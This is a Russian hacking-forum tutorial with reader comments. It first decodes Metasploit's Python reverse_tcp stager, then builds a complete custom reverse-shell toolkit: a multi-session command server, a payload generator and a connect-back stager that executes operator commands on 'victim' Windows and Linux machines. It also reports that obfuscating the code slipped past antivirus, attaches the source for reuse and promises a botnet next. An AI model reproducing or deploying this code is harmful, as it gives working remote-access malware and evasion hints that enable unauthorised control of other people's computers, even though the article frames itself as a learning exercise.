Статья Разбираемся как работает python, meterpreter, reverse_tcp или handler своими руками на python3

Предисловие
Доброго времени суток, коллеги, сегодня хотелось бы поговорить с вами на тему того, как же работает Handler Metaspolit'a, что генерирует msfenom для python и почему эти payload'ы детектятся.

На написание данной статьи меня подвигли очень часто встречающиеся как и на форуме, так и в личных сообщениях вопросы по типу "как закриптовать payload?", "почему антивирусник ругается на сгенерированный файл" и все в таком духе.
Если честно до этого момента я не очень-то и пользовался автоматически сгенерированными payload'ами и понятия не имею что внутри них происходит, но давайте разбираться вместе.

Для этого нам понадобится:
  1. Установленный Metasploit, как его поставить на свой компьютер можете почитать , а статья по установке Metasploit на телефон находиться здесь.
  2. Python 3.6 или версии выше, скачать и установить можете с
  3. Исследовательский интерес ко всему происходящему.


Акт I - зрим в корень
В первую очередь давайте сгенерируем сам payload при помощи команды:

Bash:
msfvenom -p python/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 > ~/payload.py
И посмотрим что же нам сгенерировал этот чудесный инструмент, вводим команду (вы можете пользоваться любым другим, удобным вам редактором текста или IDLE):

Код:
nano payload.py
А видим мы там следующие:

Python:
exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzEyNy4wLjAuMScsNDQ0NCkpCgkJYnJlYWsKCWV4Y2VwdDoKCQl0aW1lLnNsZWVwKDUpCmw9c3RydWN0LnVucGFjaygnPkknLHMucmVjdig0KSlbMF0KZD1zLnJlY3YobCkKd2hpbGUgbGVuKGQpPGw6CglkKz1zLnJlY3YobC1sZW4oZCkpCmV4ZWMoZCx7J3MnOnN9')
Думаю по коду всем понятно что тут в exec() - импортируется стандартная библиотека base64 и выполняется какой-то зашифрованный в тот же base64 код.
exec() динамически исполняет переданный в него код, если вызван без аргументов то возвращает False Более подробно можете почитать
Расшифруем эту часть кода при помощи python и выясним, что за код пытается выполнить этот payload:

Python:
import base64
text = 'aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzEyNy4wLjAuMScsNDQ0NCkpCgkJYnJlYWsKCWV4Y2VwdDoKCQl0aW1lLnNsZWVwKDUpCmw9c3RydWN0LnVucGFjaygnPkknLHMucmVjdig0KSlbMF0KZD1zLnJlY3YobCkKd2hpbGUgbGVuKGQpPGw6CglkKz1zLnJlY3YobC1sZW4oZCkpCmV4ZWMoZCx7J3MnOnN9'
decode_text = base64.b64decode(text)
print(decode_text.decode(encoding='utf-8'))
В результате получаем вот такой вывод:

Python:
import socket,struct,time
for x in range(10):
    try:
        s=socket.socket(2,socket.SOCK_STREAM)
        s.connect(('127.0.0.1',4444))
        break
    except:
        time.sleep(5)
l=struct.unpack('>I',s.recv(4))[0]
d=s.recv(l)
while len(d)<l:
    d+=s.recv(l-len(d))
exec(d,{'s':s}

Как нам становиться ясно, в выше переведенном коде происходит импорт трех стандартных модулей:

socket - для использования как ни странно сокетов, struct для работы с многобайтовыми типами данных и time - модуль для работы со временем.

Далее объявляется цикл с десятью итерациями, где в каждой итерации происходит попытка установить соединение по TCP/IP с IP адресом 127.0.0.1 через 4444 порт и если удачно то цикл прерывается, а если нет, то происходит пяти секундный таймаут и запускается новая итерация. Кстати, не совсем понятно для чего нужна именно библиотека TIME ведь в классе socket из модуля socket есть метод settimeout() для этих целей. Но да ладно, далее по коду, если попытка соединения была удачной, то идет ожидание данных от сервера которые в свою очередь обрабатываются через модуль struct и передаются в exec() .

Рассмотрев этот код, мы должны понять, что сам payload вряд-ли представляет интерес для антивирусного ПО, ибо в нем нет ничего криминального.

msf_venom_generate1.png


Наверное, дело как раз в том коде, который посылает payload'у сервер.
Пора глянуть что же там. Для этого запустим handler msf с ожиданием полезной нагрузки python/meterpreter/reverse_tcp следующей командой:

Bash:
sudo msfconsole
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set PAYLOAD  python/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set LHOST {ip адресс handler'а}
msf5 exploit(multi/handler) > set LPORT {незанятый порт который будт слушать handler}
msf5 exploit(multi/handler) > run
Теперь вернемся к Python, для дальнейшего исследования нам понадобится библиотека pwntools, устанавливаем:

Python:
pip install pwntools
И напишем следующую конструкцию:
Python:
import pwn
s = pwn.connect(str"{ip адресс handler'а}", int(порт который слушает handler))
s.interactive()
Вдаваться сейчас в подробное описание библиотеки pwntools я не буду, эта статья о другом, но лишь скажу что метод interactive() позволит нам взаимодействовать с сервером, к которому мы подключаемся, как говорится на лету.
Более подробно с библиотекой можно ознакомиться Запускаем и смотрим. Вот что мы получили в результате:

msf_handler_return.png


1400 строк кода, вот, что прислал нам Msf Handler, в этой статье мы не будем анализировать этот код, но если вам интересно сделать это самостоятельно, то оставляю вам ссылку на . Загрузил его на пастебин для вашего удобства.
Теперь проверим, что думают антивирусники по этому поводу:

handler_return.png


Сказать честно, очень удивлен, что детект настолько низкий, так же я посмотрел как работают другие reverse tcp payload'ы и все оказалось то же самое.
Payload открывает соединение, принимает основной код и выполняет его. Так же я в качестве эксперимента, обфусцировал возвращаемый Hendler'oм код при помощи библиотеки pyminifier и получил вот такой результат сканирования на virustotal:

obfuscate.png


Мой касперский при запуске обфускцированого кода тоже не стал ругаться. И если вам по какой-то причине очень сильно хочется использовать сгенерериованые msfvenom'oм полезные нагрузки, в тоже время у вас нет желания, чтобы они детектились антивирусами при сигнатурном анализе, вы можете модефицировать файл с полезной нагрузкой таким образом, что бы он не сразу выполнял код который присылает handler, а сначала шифровал этот код, но как это сделать, в другой раз, ведь сейчас мы переходим к той части статьи, ради которой она и задумывалась. А именно, мы приступаем к разработке собственного инструментария !


АКТ II - что нам стоит remote shell построить

В этой части статьи перед нами стоит цель написать свой генератор полезных нагрузок, сервер который будет отвечать за то, чтобы принимать подключения и отсылать наши команды удаленному хосту, ну и собственно сам payload, используя только стандартные библиотеки. Как итог у нас будет три файла:

server.py, generator.py и payload.py

С файлами разобрались и я предлагаю вам начать разработку с главного, а именно с сервера, постараемся определиться с архитектурой и учесть некоторые моменты которые связанные с клиент-серверными приложениями.
Мы будем использовать парадигму ООП, но даже если вы не знакомы с таким понятием, по ходу дела я постараюсь объяснить вам все, максимально доступным образом.

На этот раз классов у нас будет всего 3 это:
  1. Class Server - отвечающий за то что бы ожидать соединения и добавлять новые сессии в список.
  2. Class HandlerCommand- который будет отвечать за логику общения с удаленным хостом.
  3. Class RunProgram - который будет отвечать за создание объектов других классов и вывода некоторых методов в отдельные фоновые потоки.

Server.py

Объявляем первый класс Server и метод конструктора класса __init__:

Python:
class Server:
    def __init__(self, ip: str, port: int, max_connect: int):
        self.__server_ip = ip
        self.__server_port = port
        self.__server_max_connect = max_connect
        self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.clients_list = {}
        self.__clients_counter = 0
        self.run = True
На вход этот класс будет принимать три аргумента, это ip адрес на котором будет работать сервер, порт который будет слушать сервер и лимит одновременных подключений.

Двойное подчеркивание "__" перед именем переменной означает то, что эта переменная будет приватной и к ней будет нельзя обратиться за пределами этого класса, я решил это сделать по той причине, что если кому-то из вас захочется доработать функционал других классов, например, HandlerCommand, вы случайно ничего не сломали в классе Server. Так же в классе Server мы объявляем некоторые свойства, socket для работы с сокетом, client_list - куда мы будем складывать список сессий и счетчик клиентов, для того что бы давать уникальные имена установленным подключениям.

Первый метод будет у нас очень простым:

Python:
    def start_server(self) -> str:
        self.socket.bind((self.__server_ip, self.__server_port))
        self.socket.listen(self.__server_max_connect)
        return f'[*] server is running on ip {self.__server_ip} and port {self.__server_port}'
Этот метод запускает слушатель по заданным нами данными и возвращает строку в которой содержится текст, о том что сервер запущен и имеет такой-то ip и такой-то порт.

Второй метод класса:

Python:
    def waiting_connection(self):
        while self.run:
            __client_connect, __client_data = self.socket.accept()
            print(f'[+] Created a session with {__client_data[0]} \n')
            __client_connect.settimeout(10)
            self.append_clients_list(__client_connect, __client_data)
Метод, который в бесконечном цикле ожидает подключение к серверу и если оно происходит то присваивает значение двум приватным переменным __client_connect, в которой храниться объект класса подключенного к нам хоста и __client_data , где храниться одномерный массив данных вида - [client ip, client socket port].

Если подключение произошло, метод выводит на печать в консоль сообщение что создана новая сессия, затем устанавливает таймаут в 10 секунд для нового клиента, это будет использоваться в тех случаях, когда сервер отправит клиенту какую-то информацию, если в течении этих 10 секунд не получит ответа то вернет нам timeout error. Далее этот метод передает нашему следующему методу в качестве аргументов значение переменных __client_connect и __client_data.

Метод номер три, последний метод этого класса:

Python:
    def append_clients_list(self, client_connect: object, client_data: list):
        self.__clients_counter += 1
        self.clients_list[f'session {self.__clients_counter}'] = {'session name': f'session {self.__clients_counter}',
                                                                  'ip': client_data[0],
                                                                  'socket id': client_data[1],
                                                                  'client connect': client_connect}
Сей метод нужен нам для того, чтобы сервер хранил у себя информацию о всех подключенных к нам клиентах. Увеличиваем значение приватной переменной на один за каждого подключенного, и добавляем к списку clients_list вложенный список, который содержит в себя имя сессии, ip адрес клиента, socket port клиента и объект класса socket собственно который нужен нам для общения с этим клиентом. На этом описания класса заканчивается. Давайте запустим теперь нашу программу и если все сделано правильно, сервер не должен вернуть никаких ошибок.

run_server1.png


И пробуем подключиться к серверу:

try_connect.png


Как вы видите, подключение произошло, сервер выдал нам на печать об этом уведомление и все работает.
Так же в дальнейшем вы можете использовать этот класс в своих клиент серверных приложениях, но учтите, для "боевых" задач, ему необходимо будет добавить еще методов например таких как остановка сервера, перезапуск сервера и всевозможные обработчики исключений которые могут произойти.

Пришло время для второго класса HandlerCommand, как мы помним он у нас для работы с активными сессиями. Пора объявить его а так же метод конструктора класса __init__:

Python:
class HandlerCommand:
    def __init__(self):
        self.set_command = ''
        self.clients_list = programm.new_server.clients_list
Да, вот это и все свойства класса, переменная set_command которая будет хранить введенные нами команды и переменная clients_list которая получает данные из экземпляра класса который мы создадим немного позже, пока добавим методов нашему классу HandlerCommand. Первый метод у нас такой:

Python:
   def choice_command(self):
        self.set_command = input('$: ')

        print(self.process_command(command=self.set_command))
Он очень маленький и это единственный метод который мы будем вызывать самостоятельно, он нужен для того, чтобы передавать наши команды в обработчик команд.
А вот второй метод этого класса, как раз и будет нашим обработчиком введенных оператором комманд:

Python:
    def process_command(self, command: str = 'help') -> str:
        result_command = None

        if command.lower() == 'list' or command.lower() == 'sessions':
            result_command = self.get_active_sessions()

        elif len(command.split(' ')) == 2 and command.lower().split(' ')[0] == 'get' and command.split(' ')[1].isdigit():
            self.get_shell_sessions(command.split(' ')[1])

        elif command.lower() == 'help':
            result_command = """Commands:
            list or sessions - displays a list of active connections.
            get {session number} - returns remote access over the session of the corresponding number.
            help - displays this information.
            """
        else:
            result_command = '[!] Command not found ! Enter "help" to get a list of all commands.'

        return result_command
Метод, который принимает один аргумент, что по умолчанию равен строке - "help" и собственно логика самого обработчика, для статьи было принято решение реализовать всего три команды, вывод списка активных сессий, получение удаленного шелла для выбранной сессии и вызов справки по командам.

Первое условие очень простое, если в качестве аргумента этот метод принял строку "list" или "sessions", то он обращается к методу get_active_sessions, его мы напишем следующим. Вторая проверка условий работает так - если переданный аргумент состоит из двух частей и первая часть равна строке get а вторая часть состоит только из цифр то обращаемся к методу get_shell_sessions передавая ему в качестве аргумента именно вторую часть, которая состоит из цифр. Когда мы реализуем метод получения шелла сессий, все станет чуть более понятно. Ну и третья проверка - если в качестве аргумента была передана строка "help" возвращаем описание по имеющимся командам.

Если не одно из условий не сработало, говорим оператору что его команда не найдена и он может воспользоваться help'ом, дабы получить весь список команд. В дальнейшем вы сможете реализовать более обширный функционал дописав свои методы и обработчики для команд.
Следующий у нас на очереди метод get_active_sessions:

Python:
    def get_active_sessions(self) -> str:
        __list_active_session = []
        try:
            for client in self.clients_list:
                try:
                    self.clients_list.get(client).get('client connect').send(bytes('beacon', encoding='utf-8'))
                    __list_active_session.append(self.clients_list.get(client).get('session name'))
                except ConnectionAbortedError:
                    self.clients_list.pop(client)
                    continue
                except ConnectionResetError:
                    self.clients_list.pop(client)
                    continue
        except RuntimeError:
            pass
        result = '-------- ACTIVE SESSIONS --------' + '\n' + ' '.join(__list_active_session)

        return result
В этом методе, при каждом его вызове мы создаем пустой массив __list_active_session так, как нам важно видеть активные сессии именно в тот момент, когда мы отправили команду. Далее в цикле мы находим по словарю clients_list информацию, для которого мы получили в конструкторе класса. После пытаемся каждому клиенту который был к нам подключен отправить сообщение "beacon", в библиотеке socket есть уже реализованные методы проверки активности подключения, но я решил описать эту логику сам дабы вы увидели как это работает.

Так вот, после отправки нами сообщения мы смотрим, было ли оно доставлено и если все так, добавим имя клиента который активен в массив __list_active_session, а дальше обрабатываем исключения таким образом, что если по каким-то причинам соединение с клиентом было разорвано, то такого клиента мы удаляем из clients_list, дабы в дальнейшем к нему не пытаться обращаться в нашем цикле.

Если по какой-то причине (как было замечено, такое происходит когда клиент отключается во время проверки активных сессий) мы выйдем за приделы списка, то просто ничего не делаем и переходим к тому, чтобы вернуть строку, в которой будут все наши активные клиенты. Надеюсь, это все не очень сложно и вы понимаете, что происходит в данном коде. Следом давайте запустим наш сервер и попробуем подключить несколько клиентов, получить список активных сессий, отключить некоторых из клиентов и получить новый список.

connect.png
get_list.png
disconn_2.png
new_connect.png


Думаю на скриншотах видно, что мы с успехом получаем активные в данный момент сессии. Теперь перейдем к написанию последнего метода для этого класcа get_shell_sessions:

Python:
    def get_shell_sessions(self, session_number):
        while True:
            shell_command = input(r'command: ')

            if shell_command.lower() == 'q' or shell_command.lower() == 'quit':
                self.choice_command()
                break
            else:
                self.clients_list.get(f'session {session_number}').get('client connect').send(bytes(shell_command, encoding='utf-8'))

                try:
                    result_shell_command = self.clients_list.get(f'session {session_number}').get('client connect').recv(1024)
                except socket.timeout:
                    print('[!] Command failed. Time out.')
                    continue
                except ConnectionAbortedError:
                    self.choice_command()
                    break

                try:
                    result_shell_command = result_shell_command.decode(encoding='utf-8')
                except UnicodeDecodeError:
                    result_shell_command = result_shell_command.decode(encoding='windows-1251')
                print(result_shell_command)

Здесь на вход мы принимаем, что один аргумент, который нам должен был послать обработчик команд, что мы разбирали выше. Далее в бесконечном цикле мы предоставляем оператору возможность ввода команд для конкретной сессии, если веденная команда будет равна "q" или "quit" - нас вернет к методу в котором мы могли смотреть список сессий и выбирать их для получения шелла.

В ином случае введенная оператором команда будет передана к удаленному клиенту. Далее мы ожидаем ответ о выполнении команды и, если в течении десяти секунд ответ получен не будет (длительного ожидания ответа, как вы помните, мы задавали в методе waiting_connection, который имеет пренадлежность классу Server вот в этой переменной __client_connect.settimeout(10)), то мы сообщим что время ожидания вышло, если по какой то причине соединение будет разорвано, мы так же вернемся к выбору сессий.

И в последнем блоке мы пытаемся расшифровать байтовый ответ от клиента под кодировку utf-8 и если это не получается, делаем это под кодировку windows-1251, это реализовано так, потому что на машинах в которых установлен русский язык - вывод консоли возвращается именно в этой кодировке.
На этом описание данного класса закончено. Остался последний класс RunProgram, объявляем его и метод конструктора __init__:

Python:
class RunProgram:
    def __init__(self, ip_address, port_number):

        self.new_server = Server(ip=ip_address, port=port_number, max_connect=10)
        self.run_background_listener = threading.Thread(target=self.new_server.waiting_connection)
Тут мы создаем экземпляр класса Server с заданными параметрами, которые равны аргументам которые ожидает сам класс RunProgram и далее в отдельном потоке вызываем метод waiting_connection из только что созданного экземпляра.

У этого класса будет всего один метод и вот он:

Python:
    def main(self):
        print(self.new_server.start_server())
        self.run_background_listener.start()
        self.run_background_listener.daemon
Тут мы обращаемся к методу start_server через экземпляр класса Server и выводим в консоль то, что он возвращает, далее запускаем поток, который мы определили в конструкторе. Затем говорим, что этот поток должен работать в фоне, это нужно для того, чтобы слушатель работал и в то время - пока мы взаимодействуем с какой то из сессий, в противном случае, мы получали новые подключения только тогда когда не работали бы с классом HandlerCommand.

И запускаем наш сервер вот так:

Код:
if __name__ == '__main__':
    programm = RunProgram(ip_address='172.18.12.13', port_number=4545)
    programm.main()
    handler = HandlerCommand()
    while True:
        handler.choice_command()

с файлом Server.py мы закончили и большая часть работы уже завершена. Но мы с вами еще вернемся к нему после того как напишем генератор и сам пайлоад.


Generator.py

Тут не будет ничего сложного и страшного нам понадобиться всего одна библиотека argparse, файл generator.py будет для понимания легче, чем server.py и состоять будет только из одного класса, так что давайте не будем медлить и объявим его и такой уже родной, метод конструктора класса:

Python:
class GeneratorPayload:
    def __init__(self):
        self.user_settings = argparse.ArgumentParser(description='Instructions for using the program')
        self.user_settings.add_argument('-LHOST', default=str('"127.0.0.1"'), nargs='?', help='ip address your listener')
        self.user_settings.add_argument('-LPORT', default=int(4444), nargs='?', help='port number your listener')
        self.user_settings.add_argument('-NAME', default=str('payload.py'), nargs='?', help='name your payload')
        self.payload_settings = self.user_settings.parse_args()
Здесь мы просто задаем аргументы, которые сможет ввести пользователь качестве переменных. Более подробно о парсинге аргументов из командной строки я рассказывал в этой статье. Дальше объявляем наш первый метод для этого класса:

Python:
    def generate_payload(self):
        payload = f'''
import socket
LHOST: str = {self.payload_settings.LHOST}
LPORT: int = {self.payload_settings.LPORT}
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((LHOST, LPORT))
exec(s.recv(4096).decode(encoding='utf-8'))
'''
        self.save_payload(payload)
Тут у нас есть всего одна переменная payload, которая является строкой, в ней содержится код для будущего payload.py а далее обращение к методу save_payload, где в качестве аргумента используется эта самая переменная.

Дописывает последний метод:

Python:
    def save_payload(self, configured_payload):
        output_file = open(self.payload_settings.NAME, 'w')
        output_file.write(configured_payload)
        output_file.close()
Очень просто, открываем файл с именем который пользователь передаст в качестве аргумента, по умолчанию payload.py, если файла не существует то создаем. Далее записываем в него содержимое аргумента configured_payload , который мы приняли из предыдущего метода, закрываем файл. На этом написание нашего генератора заканчивается. Давайте попробуем теперь создать нашу полезную нагрузку при помощи только что написанной программы.

generator.png


Все получилось так как мы и задумывали, полезная нагрузка сгенерирована с теме парамтрами которые мы и указали.

Payload.py

Пару слов о созданной нами нагрузке думаю все же нужно сказать, хоть ее код и будет для большинства очень очевиден:

Python:
import socket
LHOST: str = "172.18.12.13"
LPORT: int = 4545
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((LHOST, LPORT))
exec(s.recv(4096).decode(encoding='utf-8'))
Мы подключаем стандартный модуль сокет и пытаемся подключится к нашему слушателю по указанным для генератора данным, после чего ожидаем на выполнение код от сервера.
Предвижу очевидный вопрос, какой код ? Мы же ничего такого в файле server.py не писали ? Да, это верно, но так же я и говорил, что мы вернемся еще к редактированию файла server.py.

Я решил вынести код который будет передаваться нашей полезной нагрузке именно в этот блок статьи, так как он выполняется все же в payload.py и дабы не захламлять кодом и без того большой файл. Сейчас нам необходимо вернуться к методу waiting_connection класса Server который мы описали в файле server.py и в этом методе после строки № 4 ( __client_connect.settimeout(10) ) следует добавить вот такой код:

Python:
__client_connect.send(bytes(payload_output_server, encoding='utf-8'))
Он говорит нам о том, что как только новый клиент будет подключен, мы отправим ему содержимое переменной payload_output_server. Далее мы ее инициализируем, для этого перейдем к блоку if __name__ == '__main__': и НАД ним напишем следующие:

Python:
payload_output_server = """
import os
import subprocess
while True:
    try:
        a = s.recv(4096)
    except ConnectionResetError:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((LHOST, LPORT))
        a = s.recv(4096)

    a = a.decode(encoding='utf-8')
    command = a

    if command.lower() == 'beacon':
        continue

    try:
        if command.lower().split(' ')[0] == 'cd':
            os.chdir(command.split(' ')[1])
    except IndexError:
        pass
    except FileNotFoundError:
        s.send(bytes(f"[!] The system cannot find the path specified: {command.split(' ')[1]}", encoding='utf-8'))
        continue

    except PermissionError:
        s.send(bytes(f"[!] Access denied: {command.split(' ')[1]}", encoding='utf-8'))

    if len(command) > 0:
        a = subprocess.Popen(command[:], shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE,
                             stdin=subprocess.PIPE)
        out_bit = a.stdout.read() + a.stderr.read()
        try:
            convert_out_bit_str = out_bit.decode(encoding='utf-8')
        except UnicodeDecodeError:
            convert_out_bit_str = out_bit.decode(encoding='windows-1251')
        s.send(bytes(convert_out_bit_str, encoding='utf-8'))

    else:
        continue

"""
В этой переменной будет храниться строка, значение которой вы видите выше. Это код, который будет выполнен на стороне клиента при подключении. Сильно в него углубляться не будем, я и так уже изрядно утомил вас своей писаниной, но скажу что в нем реализовано переподключение к серверу если сервер будет например перезапущен, так же эта часть кода принимает данные от сервера, передает их в cli и возвращает ответ от cli серверу.


АКТ III - один раз напиши, семь раз потесть

С программированием на сегодня все, было больно, но, надеюсь, вы справились и поняли, что и как работает в коде, который представлен выше. Теперь пришло время для проведения лабораторных тестов того чуда которое мы с вами создали.

Давайте условимся так:
  • В качестве сервера будет выступать машина на Kali linux с ip 172.18.12.12
  • В качестве жертвы № 1 машина на Windows 10, с корпоративным касперским на борту, которая имеет ip 172.18.12.13
  • В качестве жертвы № 2 будет машина под управлением Astra Linux с ip адресом ip 172.18.12.61
Запускаем наш payload на Windows машине:

test_reverse_connect_windows.png


Теперь запустим на Astra Linux

test_reverse_connect_astra.png


Давайте попробуем ввести несколько комманд и посмотреть как это отработает.

test_command_1.png

test_command_2.png


Как видим, команды выполняются, ответ от cli удаленного клиента приходит и все у нас получилось как и было задумано. На этом тесты завершаем.

Послесловие

Спасибо вам, если дочитали до этого момента, статья получилась обширной и немного сумбурной, но в свое оправдание скажу, что никогда не занимался написанием подобного. Этим материалом я хотел немного расширить ваше понимание того, как работает обратное подключение и handler Metasploit Framework. Надеюсь, вам было интересно и вы узнали для себя что-то новое. Исходный код я прикреплю к статье в виде архива, вы можете использовать его и модифицировать по своему усмотрению. Если статья наберет много лайкосиков, то в следующий раз напишем с вами полноценный ботнет на каком-нибудь асинхронном фреймворке с gui панелью управлений и прочими плюшками. А на сегодня всё. Всем удачи и пишите комментарии.
 

Вложения

  • codeby_handler.zip
    2,8 КБ · Просмотры: 657
Последнее редактирование модератором:
29.07.2020
41
6
BIT
0
Статья отличная ))
Тут не будет ничего сложного и страшного нам понадобиться всего одна библиотека argparse, файл generator.py будет для понимания легче, чем server.py и состоять будет только из одного класса,
Возможно, я что-то недопонимаю, но зачем применять ООП в программе, если используется всего один класс ?
В этом существует какая-то скрытая необходимость ?
Или это привычка автора, который привык программировать в других языках ?
 
  • Нравится
Реакции: mrtyrel

Proxy n1nja

Green Team
28.06.2018
118
149
BIT
0
Статья отличная ))

Возможно, я что-то недопонимаю, но зачем применять ООП в программе, если используется всего один класс ?
В этом существует какая-то скрытая необходимость ?
Или это привычка автора, который привык программировать в других языках ?
Ну во первых да, писать классами это привычка. Во вторых, возможно тебе или кому-то другому захочется взять этот код для своего проекта и с таким подходом, человек просто сделает ctrl+c\ctrl+v.
Либо тебе или кому-то еще захочется допилить этот код, сделать например валидацию пользовательских аргументов, возможность генерить другие пайлоады и вообще на что фантазии хватит. И например для проверки пользовательских данных, ты просто отнаследуешься от основного класса и тебе не нужно будет городить костыли.
 
  • Нравится
Реакции: DeathDay

Qurbit

Green Team
16.06.2020
51
8
BIT
4
Великолепно. Не грех перенести статью в премиум с таким содержанием. Спасибо автору за просвещение начинающих.
 

mynameiss7

New member
25.02.2020
1
0
BIT
0
Познавательно. Спасибо. Очень хочется про ботнет почитать.)
 

ReQ

Green Team
04.01.2018
19
2
BIT
13
А обфусцировать как? Такое в скором времени получит сигнатурный детект
 

Proxy n1nja

Green Team
28.06.2018
118
149
BIT
0
А обфусцировать как? Такое в скором времени получит сигнатурный детект
Я про это в следующей статье расскажу которая будет ботнету посвящена. Она будет разбита на несколько частей потому что работы там действительно много.
Но раньше чем через месяц, не ждите, очень много дел в реале опять на меня упало.
 
29.07.2020
41
6
BIT
0
Если честно до этого момента я не очень-то и пользовался автоматически сгенерированными payload'ами и понятия не имею что внутри них происходит,
Какие ещё имеются варианты генерирования "нагрузок" ?

очень много дел в реале опять на меня упало
Иногда нужно говорить себе:
"Работа - не волк, в лес не убежит ."
или
"Пусть конь работает."
Пишите уже ))
 

ReQ

Green Team
04.01.2018
19
2
BIT
13
Я про это в следующей статье расскажу которая будет ботнету посвящена. Она будет разбита на несколько частей потому что работы там действительно много.
Но раньше чем через месяц, не ждите, очень много дел в реале опять на меня упало.

Устанавливаем пакет pyminifier

pip install pyminifier
Обфусцируем нужный файл командой

pyminifier --obfuscate handler.py

Так обфусцировать?
 

zibruss

Green Team
04.06.2019
42
16
BIT
16
Отличная статья. Спасибо ) Много с этим работал но в целом были мизерные представления и знания о принципе работы. насчет generator.py отдельно благодарю. Ждемс еще)
 

googoosik88

New member
16.10.2019
1
0
BIT
0
Спасибо за статью. Очень интересна тема python malware. Свеженького материала ещё не планируется?
 

Proxy n1nja

Green Team
28.06.2018
118
149
BIT
0
Спасибо за статью. Очень интересна тема python malware. Свеженького материала ещё не планируется?
Возможно в ближайшие дни выложу маленькую статью. Но это пока не точно, много времени на работу сейчас уходит.
 
  • Нравится
Реакции: ckat_soft

|Snake|

Green Team
14.03.2018
37
3
BIT
0
ТС, а если payload.py через pyinstaller в ехе преобразовать и запускать на машине без интерпретатора питона, код отправленный сервером на exec уже работать не будет?
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!